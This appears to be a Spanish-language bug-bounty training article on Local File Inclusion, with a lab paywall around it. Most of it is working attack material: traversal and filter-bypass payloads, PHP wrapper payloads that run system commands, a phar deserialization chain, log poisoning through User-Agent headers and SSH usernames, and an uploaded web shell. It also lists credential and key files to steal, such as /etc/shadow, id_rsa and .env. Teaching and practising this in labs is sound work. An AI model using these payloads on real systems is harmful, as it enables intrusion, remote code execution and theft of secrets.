Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel BásicoGratis

LFI — Local File Inclusion: payloads, filters bypass, log poisoning y RCE

Path traversal, null-byte injection, double encoding, PHP wrappers (filter, data, expect, phar), log poisoning y escalación de LFI a RCE en stacks PHP/Java/Node.

Gorka El Bochi11 de mayo de 202612 min

Respuesta rápida

LFI permite leer (y a veces ejecutar) archivos arbitrarios del servidor via un parámetro de inclusión vulnerable. La metodología: detectar sink (?file=, ?page=, ?view=, ?include=) → traverse con ../ + variantes encoded → bypass filters (null byte, double encoding, UTF-8 overlong) → escalar a RCE via PHP wrappers, log poisoning, /proc/self/environ, o phar deserialization. Bounty típico de LFI → RCE: €2000-€10000.


Detección — qué parámetros sospechar

Cualquier parámetro que parezca cargar archivos o templates:

ruby
?file=home.html      ?page=about     ?view=profile
?include=header      ?template=main  ?lang=es
?doc=manual.pdf      ?path=/img.png  ?content=intro

Probe básico:

bash
curl "https://target.com/index.php?file=../../../../etc/passwd"
curl "https://target.com/index.php?file=....//....//....//etc/passwd"
curl "https://target.com/index.php?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

Si la respuesta contiene root:x:0:0: → LFI confirmado.


Bypass de filtros — tabla de payloads

FiltroBypassEjemplo
Strip ../ simpleDouble dots....//....//etc/passwd
Strip .. recursivoMixed..././..././etc/passwd
URL decode una vezDouble encode%252e%252e%252f (..%2f)
Whitelist .pngNull byte (PHP < 5.3.4)../../etc/passwd%00.png
Whitelist absolute pathForce absolute/var/www/html/../../etc/passwd
Strip slashUTF-8 overlong..%c0%af..%c0%afetc%c0%afpasswd
Append .phpPath truncation../../etc/passwd/././. (×4096)
Filter passwdWrappersphp://filter/convert.base64-encode/resource=/etc/passwd

[!tip] Cuándo probar double encoding Si el WAF decodifica una vez antes de aplicar la regex, double encoding (%252e%252e%252f) pasa porque la regex ve %2e%2e%2f no ../. La app decodifica una segunda vez al usar el parámetro → traversal funciona.


PHP wrappers — el ecosistema de gold

PHP soporta wrappers que cambian cómo se accede al recurso. Son la diferencia entre LFI = info leak y LFI = RCE.

php://filter — base64 source disclosure

Lee el código fuente PHP sin que se ejecute:

bash
curl "https://target.com/index.php?file=php://filter/convert.base64-encode/resource=index.php"
# Output: PD9waHAg... → base64 decode → source code

Útil para encontrar más LFIs, sinks de SQLi, hardcoded creds.

data:// — inline code execution

Si el wrapper data está habilitado:

bash
curl "https://target.com/index.php?file=data://text/plain,<?php%20system('id');%20?>"

expect:// — direct RCE

Requiere la extensión expect:

bash
curl "https://target.com/index.php?file=expect://id"

phar:// — deserialization RCE

El más infravalorado. Cuando un sink de PHP llama a file_exists(), fopen(), file_get_contents(), unlink(), getimagesize() sobre una ruta phar://, el archivo .phar se deserializa automáticamente. Si la app tiene una clase con __destruct o __wakeup peligroso → RCE.

bash
# Generar phar malicioso (PoC con gadget chain)
php -d phar.readonly=0 generate_phar.php
# Subir como avatar/imagen (content-type check pasa)
curl -F "avatar=@malicious.jpg" https://target/upload
# Trigger via LFI:
curl "https://target.com/index.php?file=phar:///var/www/uploads/avatar123.jpg/payload"

[!danger] Phar deserialization Funciona aunque el endpoint LFI sólo permita lectura — la deserialización ocurre durante el stat del archivo. PHP 8 mantiene phar habilitado por defecto. Bounty real con esta chain: €5000-€15000.


Log poisoning — LFI a RCE sin upload

Si controlas el contenido de un log que el servidor escribe, e incluyes ese log via LFI → tu payload se ejecuta como PHP.

Apache access.log

bash
# Paso 1: inyectar payload via User-Agent
curl https://target.com/ -H "User-Agent: <?php system(\$_GET['c']); ?>"

# Paso 2: include el log
curl "https://target.com/index.php?file=/var/log/apache2/access.log&c=id"

SSH auth.log

bash
# Paso 1: SSH con username PHP
ssh '<?php system($_GET["c"]); ?>'@target.com
# Falla el login pero queda en /var/log/auth.log

# Paso 2: include log
curl "https://target.com/index.php?file=/var/log/auth.log&c=id"

/proc/self/environ

bash
# User-Agent inyectado se refleja en environ del proceso CGI
curl "https://target.com/index.php?file=/proc/self/environ" \
  -H "User-Agent: <?php system(\$_GET['c']); ?>"

Targets típicos en cada SO

LinuxWindows
/etc/passwdC:\Windows\win.ini
/etc/shadow (necesita root)C:\boot.ini (legacy)
/etc/hostsC:\Windows\System32\drivers\etc\hosts
/proc/self/environC:\xampp\apache\logs\access.log
/proc/self/cmdlineC:\inetpub\logs\LogFiles\
/var/log/apache2/access.logC:\Windows\Panther\Unattend.xml
/home/<user>/.ssh/id_rsaC:\Users\<user>\.ssh\id_rsa
~/.bash_historyC:\Users\<user>\NTUSER.DAT
.env, wp-config.phpweb.config

LFI → RCE chain real (avatar + include)

Patrón clásico en apps PHP legacy:

php
<?php include $_GET['view']; ?>
bash
# 1. Subir avatar con PHP embebido (content-type check pasa)
curl -F "avatar=@shell.jpg" https://target/upload
# shell.jpg content: <?php system($_REQUEST['c']); ?>

# 2. La app guarda en path predecible
# /var/www/html/uploads/avatars/USER_ID.jpg

# 3. Include via LFI
curl "https://target.com/layout.php?view=/var/www/html/uploads/avatars/104.jpg&c=id"
# → RCE

Stacks no-PHP — los gotchas

LFI no es exclusivo de PHP. En Java, Node y Python suele ser lectura solamente (no RCE directo), pero el impacto sigue siendo alto.

StackSink típicoEscalada
Java/Springnew File(input), Files.readAllBytesRead application.properties, .jar con secrets
Node.jsfs.readFile(path.join(BASE, input))Read .env, source .js, configs
Pythonopen(input), pathlib.Path(input).read_textRead .env, settings.py, Django SECRET_KEY
Goos.ReadFile(input)Read configs, certs

[!warning] Path normalization desync Node + Bun tienen casos donde el URL parser preserva // pero path.join() colapsa. Resultado: middleware string-based (startsWith("/admin")) puede bypasearse con //admin/secret. Probar siempre //, \, %2f, %5c en parámetros que normalizan paths.


Hunting checklist

  • Identificar todos los params con shape de path (file=, view=, page=, include=)
  • Probe básico con ../../../../etc/passwd
  • Si filtra: double encoding, ....//, null byte, UTF-8 overlong
  • PHP detectado: probar php://filter/convert.base64-encode/resource=index.php
  • Phar disponible: generar gadget chain y triggerear con phar://
  • Log poisoning: inyectar payload en User-Agent o SSH login
  • /proc/self/environ para extraer env vars (AWS keys, JWT secrets)
  • Source code disclosure → buscar más LFIs, SQLi, hardcoded creds
  • Combinar con upload arbitrario para RCE end-to-end
  • Probar en stacks no-PHP: lectura de .env, application.properties, .git/config

Labs relacionados

Practica explotación completa de LFI desde traversal básico hasta RCE via phar y log poisoning en labs de LFI.

Practica esto en un lab

Lfi Extraction

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta
Premium · 1 técnica más

Hay un payload extra al final

El truco PHP wrapper `phar://` que convierte LFI en deserialization RCE sin que el endpoint acepte uploads — funciona en 70% de apps PHP legacy.

Desbloquear

5 €/mes · cancela cuando quieras

Artículos relacionados